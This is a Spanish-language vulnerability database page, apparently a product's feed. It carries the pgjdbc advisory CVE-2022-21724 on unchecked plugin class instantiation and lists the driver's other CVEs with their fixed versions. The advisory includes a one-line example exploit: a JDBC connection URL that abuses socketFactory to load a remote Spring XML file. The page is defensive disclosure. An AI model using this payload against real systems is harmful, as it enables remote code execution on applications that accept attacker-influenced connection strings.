Alta

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Publicada: 02.02.2022
Actualizado: 11.10.2026 13:19

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Java / Kotlin (Maven)	org.postgresql:postgresql	>= 9.4.1208, < 42.2.25, >= 42.3.0, < 42.3.2	42.2.25, 42.3.2

Referencias

Puntuación CVSS 7/10

Vector CVSS: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE): CWE-665, CWE-668, CWE-74
Plataforma: Java / Kotlin (Maven)
Paquete: org.postgresql:postgresql
Publicada: 02.02.2022
Actualizado: 11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-v7wg-cpwc-24m4 - CC BY 4.0

Historial de vulnerabilidades: org.postgresql:postgresql

Todas las vulnerabilidades publicadas de este paquete (Java / Kotlin (Maven)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (10) en el archivo

Entradas en total: 10
Primera → última: 02.2022 07.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Crítica 1
Alta 7
Media 2

Divulgaciones por año

2022: 6
2023: 0
2024: 1
2025: 1
2026: 2

21.07.2026

PostgreSQL JDBC Driver: Silent channel-binding authentication downgrade via unsupported certificate algorithms

Alta CVE-2026-54291 >= 42.7.4, < 42.7.12 42.7.12
05.05.2026

pgjdbc: Unbounded PBKDF2 iterations in SCRAM authentication allows CPU exhaustion DoS

Alta · 7.5 CVE-2026-42198 >= 42.2.0, < 42.7.11 42.7.11
11.06.2025

pgjdbc Client Allows Fallback to Insecure Authentication Despite channelBinding=require Configuration

Alta · 8.2 CVE-2025-49146 >= 42.7.4, < 42.7.7 42.7.7
21.02.2024

org.postgresql:postgresql vulnerable to SQL Injection via line comment generation

Crítica · 10.0 CVE-2024-1597 < 42.2.28, >= 42.3.0, < 42.3.9, >= 42.4.0, < 42.4.4, >= 42.5.0, < 42.5.5, >= 42.6.0, < 42.6.1, >= 42.7.0, < 42.7.2 42.2.28, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2
06.08.2022

PostgreSQL JDBC Driver SQL Injection in ResultSet.refreshRow() with malicious column names

Alta · 7.1 CVE-2022-31197 < 42.2.26, >= 42.4.0, < 42.4.1, >= 42.3.0, < 42.3.7 42.2.26, 42.4.1, 42.3.7
17.05.2022

Unescaped parameters in the PostgreSQL JDBC driver

Alta CVE-2012-1618 < 8.2 8.2
10.02.2022

Improper Restriction of XML External Entity Reference

Alta · 7.7 CVE-2020-13692 >= 9.4.1212.jre6, < 42.2.13 42.2.13
02.02.2022

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes esta entrada

Alta · 7.0 CVE-2022-21724 >= 9.4.1208, < 42.2.25, >= 42.3.0, < 42.3.2 42.2.25, 42.3.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación